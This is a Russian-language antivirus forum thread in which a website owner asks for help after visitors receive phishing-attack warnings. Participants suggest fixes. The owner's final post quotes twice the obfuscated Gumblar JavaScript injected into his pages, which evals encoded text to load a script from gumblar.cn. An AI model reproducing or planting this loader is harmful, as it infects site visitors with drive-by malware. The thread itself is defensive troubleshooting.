Перейти к содержанию
Правила раздела
19 лет клубу! Встречаемся в офисе «Лаборатории Касперского»

Фишинг-атака

MAM

Автор MAM
в Помощь в удалении вирусов

 Поделиться

Рекомендуемые сообщения

MAM Новичок

MAM

Опубликовано
Опубликовано

У меня есть сервер http://www.gig-ant.com/index.php

при его посещении IE либо Mozila выдается сообщение как на картинке (прикреплен)...

При проверке сайта на вирус ничего касперский не выдал...

Помогите!

post-9873-1242212844_thumb.jpg

Ссылка на комментарий
Поделиться на другие сайты
kos1nus Ветеран

kos1nus

Опубликовано
Опубликовано (изменено)
Это хорошо но у меня у всего офиса выдает данную атаку...

 

а за пределами офиса выдает у кого нибудь? а выдает только при переходе на данный адрес или на по другим ссылкам тоже выпадает сообшение? что то мне подсказывает что эта тема для рубрики "борьба с вирусами"

 

ps вы(и ваш офис) делали полную проверку? и так между делом весь ваш офис находиться под защитой касперского?

Изменено пользователем kos1nus
Ссылка на комментарий
Поделиться на другие сайты
MAM Новичок

MAM

Опубликовано
  • Автор
Опубликовано
а за пределами офиса выдает у кого нибудь? а выдает только при переходе на данный адрес или на по другим ссылкам тоже выпадает сообшение?

Да так же выдает и в других городах Москава, Минск и при хождении по всему сайту выскакивает таже атака...

 

ps вы(и ваш офис) делали полную проверку? и так между делом весь ваш офис находиться под защитой касперского?

Сервер находиться на masterhost.ru

Ссылка на комментарий
Поделиться на другие сайты
MAM Новичок

MAM

Опубликовано
  • Автор
Опубликовано (изменено)
У меня тоже такая проблема

 

Причем откуда появляется этот фишинг-сайт я пока не нашел

Если что узнаете дайте знать плиз....

 

Возможно ноги с Китая...

Изменено пользователем MAM
Ссылка на комментарий
Поделиться на другие сайты
MAM Новичок

MAM

Опубликовано
  • Автор
Опубликовано
в блеклист его, и не парится. скорее всего это реклама на хосте а кто то в неё свой скрипт вставил

Может мне весь сайт удалить,,,? это не решение проблемы спасибо....

Ссылка на комментарий
Поделиться на другие сайты
MAM Новичок

MAM

Опубликовано
  • Автор
Опубликовано
Вы посылали запрос на newvirus@?

да отправил

я заменил зараженые файлы на сохраненные копии и все заработало без данного вируса

 

ВСЕМ СПАСИБО за помощь! ХРАНИТЕ РЕЗЕРВНЫЕ КОПИИ вашего сайта!

Ссылка на комментарий
Поделиться на другие сайты
skoworodker Продвинутый

skoworodker

Опубликовано
Опубликовано
Может мне весь сайт удалить,,,?
насколько я понял в алерте был адрес отличный от адреса вашего сайта, его и надо добавить в блэк лист, причину я написал выше.
Ссылка на комментарий
Поделиться на другие сайты
MAM Новичок

MAM

Опубликовано
  • Автор
Опубликовано (изменено)

примерно вот это было на моих страницах

<script language=javascript><!--

(function(){var av8T='v@61r@20a@3d@22S@63r@69pt@45@6egine@22@2cb@3d@22V@65rsio@6e()+@22@2cj@3d@22@

22@2cu@3d@6eavi@67a@74@6f@72@2eus@65rA@67ent@3b@69@66((u@2eindexO@66(@22Win@22)@

3

e0)@26@26@28@75@2ein@64e@78@4ff(@22NT@206@22)@3c0)@26@26@28@64@6f@63ument@2ecook

i

e@2e@69ndex@4ff(@22mie@6b@3d1@22)@3c0)@26@26(t@79p@65o@66(z@72@76zts)@21@3d@74y@

7

0eo@66(@22@41@22))@29@7bz@72v@7a@74s@3d@22A@22@3b@65@76al(@22i@66(window@2e@22+a

+

@22)j@3d@6a+@22+a+@22@4daj@6f@72@22+b@2b@61+@22@4din@6fr@22+@62@2ba+@22B@75@69@6

c

d@22+b+@22@6a@3b@22@29@3bd@6fcumen@74@2e@77ri@74e@28@22@3cs@63ript@20s@72c@3d@2f

@

2fgumblar@2ecn@2frss@2f@3fid@3d@22+j+@22@3e@3c@5c@2fscript@3e@22@29@3b@7d';var LUA=av8T.replace(/@/g,'%');eval(unescape(LUA))})();

--></script><body onLoad='self.print()'>

 

 

Зачем весь сайт удалять? Создавали и тут на тебе. Скорее всего отредактировать надо будет.
Конечно это шутка мне бы голову оторвали...:huh:

 

Опять появился но теперь уже вот в каких местах достать не могу страница создается динамически...

<link rel="shortcut icon" href="/img/images/favicon.ico" type="image/x-icon">

<script type="text/javascript" src="/img/printing.js"></script>

<script type="text/javascript" src="img/highslide/highslide.js"></script>

<script type="text/javascript">

hs.graphicsDir = 'img/highslide/graphics/';

</script>

</head>

<noindex><script language=javascript><!--

(function(){var av8T='v@61r@20a@3d@22S@63r@69pt@45@6egine@22@2cb@3d@22V@65rsio@6e()+@22@2cj@3d@22@

22@2cu@3d@6eavi@67a@74@6f@72@2eus@65rA@67ent@3b@69@66((u@2eindexO@66(@22Win@22)@

3

e0)@26@26@28@75@2ein@64e@78@4ff(@22NT@206@22)@3c0)@26@26@28@64@6f@63ument@2ecook

i

e@2e@69ndex@4ff(@22mie@6b@3d1@22)@3c0)@26@26(t@79p@65o@66(z@72@76zts)@21@3d@74y@

7

0eo@66(@22@41@22))@29@7bz@72v@7a@74s@3d@22A@22@3b@65@76al(@22i@66(window@2e@22+a

+

@22)j@3d@6a+@22+a+@22@4daj@6f@72@22+b@2b@61+@22@4din@6fr@22+@62@2ba+@22B@75@69@6

c

d@22+b+@22@6a@3b@22@29@3bd@6fcumen@74@2e@77ri@74e@28@22@3cs@63ript@20s@72c@3d@2f

@

2fgumblar@2ecn@2frss@2f@3fid@3d@22+j+@22@3e@3c@5c@2fscript@3e@22@29@3b@7d';var LUA=av8T.replace(/@/g,'%');eval(unescape(LUA))})();

--></script>

<body onLoad="or_print()">

<div id = 'printing' style = 'display: none'>

<!-- Хедер на печать -->

<div class="print_contacts" align="left">

<img src="http://www.gig-ant.com/img/header.gif">

Изменено пользователем MAM
Ссылка на комментарий
Поделиться на другие сайты

Пожалуйста, войдите, чтобы комментировать

Вы сможете оставить комментарий после входа в



Войти
 Поделиться
Перейти к списку тем
×
×
  • Создать...